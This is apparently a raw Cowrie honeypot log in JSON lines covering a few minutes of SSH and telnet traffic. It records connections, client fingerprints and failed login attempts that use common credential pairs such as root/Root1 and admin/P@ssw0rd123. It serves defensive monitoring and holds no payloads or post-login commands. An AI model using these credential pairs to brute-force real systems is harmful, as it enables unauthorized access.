{"eventid":"cowrie.login.failed","username":"mein","password":"mein123","message":"login attempt [mein/mein123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:07.115666Z","src_ip":"79.104.0.82","session":"07f8ab715df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:08.265191Z","src_ip":"79.104.0.82","session":"07f8ab715df1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":47646,"dst_ip":"10.17.0.5","dst_port":22,"session":"d965d1514816","protocol":"ssh","message":"New connection: 5.89.75.194:47646 (10.17.0.5:22) [session: d965d1514816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:17.694727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:17.699918Z","src_ip":"5.89.75.194","session":"d965d1514816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:17.801310Z","src_ip":"5.89.75.194","session":"d965d1514816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"123123","message":"login attempt [odoo17/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:18.240111Z","src_ip":"5.89.75.194","session":"d965d1514816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:19.351954Z","src_ip":"5.89.75.194","session":"d965d1514816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":38718,"dst_ip":"10.17.0.5","dst_port":22,"session":"fff2068c404d","protocol":"ssh","message":"New connection: 76.79.213.69:38718 (10.17.0.5:22) [session: fff2068c404d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:26.098425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:26.102323Z","src_ip":"76.79.213.69","session":"fff2068c404d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:26.224483Z","src_ip":"76.79.213.69","session":"fff2068c404d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37536,"dst_ip":"159.203.135.109","dst_port":23,"session":"afd89732ac89","protocol":"telnet","message":"New connection: 128.199.8.54:37536 (159.203.135.109:23) [session: afd89732ac89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:26.291376Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud123","message":"login attempt [root/cloud123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:26.746645Z","src_ip":"76.79.213.69","session":"fff2068c404d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:27.874598Z","src_ip":"76.79.213.69","session":"fff2068c404d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":17166,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa2bfbac3cf0","protocol":"ssh","message":"New connection: 102.88.137.80:17166 (10.17.0.5:22) [session: fa2bfbac3cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:33.076257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:33.080457Z","src_ip":"102.88.137.80","session":"fa2bfbac3cf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:33.263320Z","src_ip":"102.88.137.80","session":"fa2bfbac3cf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pratik","password":"pratik","message":"login attempt [pratik/pratik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:34.023488Z","src_ip":"102.88.137.80","session":"fa2bfbac3cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:35.208694Z","src_ip":"102.88.137.80","session":"fa2bfbac3cf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":46148,"dst_ip":"159.203.135.109","dst_port":22,"session":"385595ad5295","protocol":"ssh","message":"New connection: 217.168.240.63:46148 (159.203.135.109:22) [session: 385595ad5295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:41.690822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:41.698235Z","src_ip":"217.168.240.63","session":"385595ad5295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:41.824840Z","src_ip":"217.168.240.63","session":"385595ad5295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd123","message":"login attempt [admin/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:42.366585Z","src_ip":"217.168.240.63","session":"385595ad5295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:43.496948Z","src_ip":"217.168.240.63","session":"385595ad5295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":44664,"dst_ip":"159.203.135.109","dst_port":22,"session":"4db7505aafa5","protocol":"ssh","message":"New connection: 92.113.145.209:44664 (159.203.135.109:22) [session: 4db7505aafa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:59.001117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:59.005358Z","src_ip":"92.113.145.209","session":"4db7505aafa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:59.115101Z","src_ip":"92.113.145.209","session":"4db7505aafa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1","message":"login attempt [root/Root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:59.580051Z","src_ip":"92.113.145.209","session":"4db7505aafa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:00.690674Z","src_ip":"92.113.145.209","session":"4db7505aafa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.82969069480896,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:11.120944Z","src_ip":"128.199.8.54","session":"afd89732ac89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":54074,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a60ba9e099e","protocol":"ssh","message":"New connection: 160.251.185.39:54074 (10.17.0.5:22) [session: 9a60ba9e099e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:11.129434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:11.133485Z","src_ip":"160.251.185.39","session":"9a60ba9e099e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:11.321334Z","src_ip":"160.251.185.39","session":"9a60ba9e099e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"1234","message":"login attempt [sysadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:12.082674Z","src_ip":"160.251.185.39","session":"9a60ba9e099e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:13.267706Z","src_ip":"160.251.185.39","session":"9a60ba9e099e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1203,"dst_ip":"10.17.0.5","dst_port":22,"session":"532d000965b1","protocol":"ssh","message":"New connection: 102.88.137.80:1203 (10.17.0.5:22) [session: 532d000965b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:24.463212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:24.467358Z","src_ip":"102.88.137.80","session":"532d000965b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:24.652401Z","src_ip":"102.88.137.80","session":"532d000965b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46716,"dst_ip":"10.17.0.5","dst_port":22,"session":"b97105ee12cf","protocol":"ssh","message":"New connection: 27.71.230.31:46716 (10.17.0.5:22) [session: b97105ee12cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:25.302919Z"}
{"eventid":"cowrie.login.failed","username":"victor","password":"victor123","message":"login attempt [victor/victor123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:25.413427Z","src_ip":"102.88.137.80","session":"532d000965b1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:26.025746Z","src_ip":"27.71.230.31","session":"b97105ee12cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:26.029218Z","src_ip":"27.71.230.31","session":"b97105ee12cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:26.599196Z","src_ip":"102.88.137.80","session":"532d000965b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password2020","message":"login attempt [root/Password2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:31.276423Z","src_ip":"27.71.230.31","session":"b97105ee12cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:34.530345Z","src_ip":"27.71.230.31","session":"b97105ee12cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":34932,"dst_ip":"10.17.0.5","dst_port":22,"session":"30c2d1fd6e17","protocol":"ssh","message":"New connection: 201.17.146.173:34932 (10.17.0.5:22) [session: 30c2d1fd6e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:43.551538Z"}
